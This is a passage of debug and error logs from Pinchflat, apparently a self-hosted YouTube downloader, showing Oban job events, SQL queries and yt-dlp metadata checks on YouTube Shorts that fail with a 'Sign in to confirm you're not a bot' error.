/tmp/pinchflat/data/3f/e4/3fe4d4fbd569dfd7b473ad7f88ad467348fa087ef02f791122e07c54ae4919d0.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:31:56.226 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/shorts/J0aKad-jxME --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/1d/ae/1dae81602825776badcfef2e92a5d58316c275c276d09f2b35add8321949a37a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing ERROR: [youtube] J0aKad-jxME: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies 20:31:56.226 [error] yt-dlp download error for media item #403: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] J0aKad-jxME: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:56.227 [error] yt-dlp download will not be retried: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] J0aKad-jxME: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:56.228 [info] {"args":{"id":403},"id":244,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":1970912,"event":"job:stop","attempt":1,"queue_time":43255128,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:56.229 [debug] QUERY OK source="tasks" db=0.6ms idle=800.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:56.230 [debug] QUERY OK source="media_items" db=0.7ms idle=800.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [404] 20:31:56.237 [info] {"args":{"id":405},"id":246,"meta":{},"system_time":1774150316236679861,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:56.238 [debug] QUERY OK source="media_items" db=1.0ms queue=0.4ms idle=324.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [405] 20:31:56.239 [debug] QUERY OK source="tasks" db=1.2ms queue=0.1ms idle=9.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:56.239 [info] User scripts lifecyle file either not present or is empty. Skipping. 20:31:56.240 [debug] QUERY OK source="media_items" db=1.3ms idle=9.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [404, 405] 20:31:56.242 [debug] QUERY OK source="sources" db=2.9ms idle=8.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:56.244 [debug] QUERY OK source="media_profiles" db=2.0ms idle=5.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:56.246 [debug] QUERY OK source="media_items" db=0.9ms idle=6.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [405] 20:31:56.248 [debug] QUERY OK source="media_metadata" db=0.2ms idle=9.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [405] 20:31:56.249 [debug] QUERY OK source="media_profiles" db=0.6ms idle=7.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:56.250 [debug] QUERY OK source="settings" db=0.7ms idle=7.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:56.251 [debug] QUERY OK source="settings" db=0.6ms idle=5.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:56.252 [debug] Running yt-dlp command for action: get_downloadable_status 20:31:56.254 [debug] QUERY OK source="settings" db=0.2ms idle=7.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:56.254 [debug] QUERY OK source="settings" db=0.6ms idle=5.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:56.255 [debug] QUERY OK source="settings" db=0.4ms queue=0.3ms idle=5.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:56.255 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/shorts/nmCTo8hqIx0 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/9d/31/9d31d576f6f4b57f4768036b64cddbdaa655ecd853b32281d2c10f4f2e997e93.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:31:57.411 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/shorts/aRA7uWCglOc --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/3f/e4/3fe4d4fbd569dfd7b473ad7f88ad467348fa087ef02f791122e07c54ae4919d0.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing ERROR: [youtube] aRA7uWCglOc: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies 20:31:57.411 [error] yt-dlp download error for media item #404: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] aRA7uWCglOc: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:57.411 [error] yt-dlp download will not be retried: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] aRA7uWCglOc: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:57.413 [info] {"args":{"id":404},"id":245,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":1995149,"event":"job:stop","attempt":1,"queue_time":44416139,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:57.414 [debug] QUERY OK source="tasks" db=0.5ms idle=1159.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:57.414 [debug] QUERY OK source="media_items" db=0.2ms idle=1159.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [405] 20:31:57.420 [info] {"args":{"id":406},"id":247,"meta":{},"system_time":1774150317420743278,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:57.421 [debug] QUERY OK source="tasks" db=0.4ms idle=8.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:57.422 [debug] QUERY OK source="media_items" db=1.2ms idle=505.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [406] 20:31:57.422 [info] User scripts lifecyle file either not present or is empty. Skipping. 20:31:57.423 [debug] QUERY OK source="media_items" db=1.1ms idle=7.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [405, 406] 20:31:57.425 [debug] QUERY OK source="sources" db=2.3ms idle=8.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:57.426 [debug] QUERY OK source="media_profiles" db=0.6ms queue=0.3ms idle=4.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:57.426 [debug] QUERY OK source="media_items" db=0.3ms idle=4.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [406] 20:31:57.428 [debug] QUERY OK source="media_metadata" db=0.2ms idle=6.0ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [406] 20:31:57.429 [debug] QUERY OK source="media_profiles" db=0.2ms idle=5.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:57.429 [debug] QUERY OK source="settings" db=0.2ms idle=3.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:57.429 [debug] QUERY OK source="settings" db=0.2ms idle=3.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:57.430 [debug] Running yt-dlp command for action: get_downloadable_status 20:31:57.431 [debug] QUERY OK source="settings" db=0.1ms idle=4.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:57.431 [debug] QUERY OK source="settings" db=0.3ms idle=2.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:57.432 [debug] QUERY OK source="settings" db=0.2ms idle=2.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:57.432 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/shorts/Mj3x1aGKr_s --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/f9/24/f924f316ff81323d5e422d51062c1a6dbf3ce2ba7fcae18cd69e8a1373107a26.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:31:58.051 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/shorts/nmCTo8hqIx0 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/9d/31/9d31d576f6f4b57f4768036b64cddbdaa655ecd853b32281d2c10f4f2e997e93.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing ERROR: [youtube] nmCTo8hqIx0: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies 20:31:58.052 [error] yt-dlp download error for media item #405: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] nmCTo8hqIx0: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:58.052 [error] yt-dlp download will not be retried: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] nmCTo8hqIx0: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:58.054 [info] {"args":{"id":405},"id":246,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":1816044,"event":"job:stop","attempt":1,"queue_time":45234180,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:58.055 [debug] QUERY OK source="tasks" db=1.0ms idle=623.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:58.056 [debug] QUERY OK source="media_items" db=0.7ms idle=623.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [406] 20:31:58.061 [info] {"args":{"id":407},"id":248,"meta":{},"system_time":1774150318061280592,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:58.062 [debug] QUERY OK source="tasks" db=0.8ms idle=8.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:58.063 [debug] QUERY OK source="media_items" db=1.0ms idle=142.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [407] 20:31:58.063 [info] User scripts lifecyle file either not present or is empty. Skipping. 20:31:58.064 [debug] QUERY OK source="media_items" db=0.9ms idle=7.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [406, 407] 20:31:58.065 [debug] QUERY OK source="sources" db=2.1ms idle=7.1ms SELECT s0."id", s0."enabled", s0."uuid", 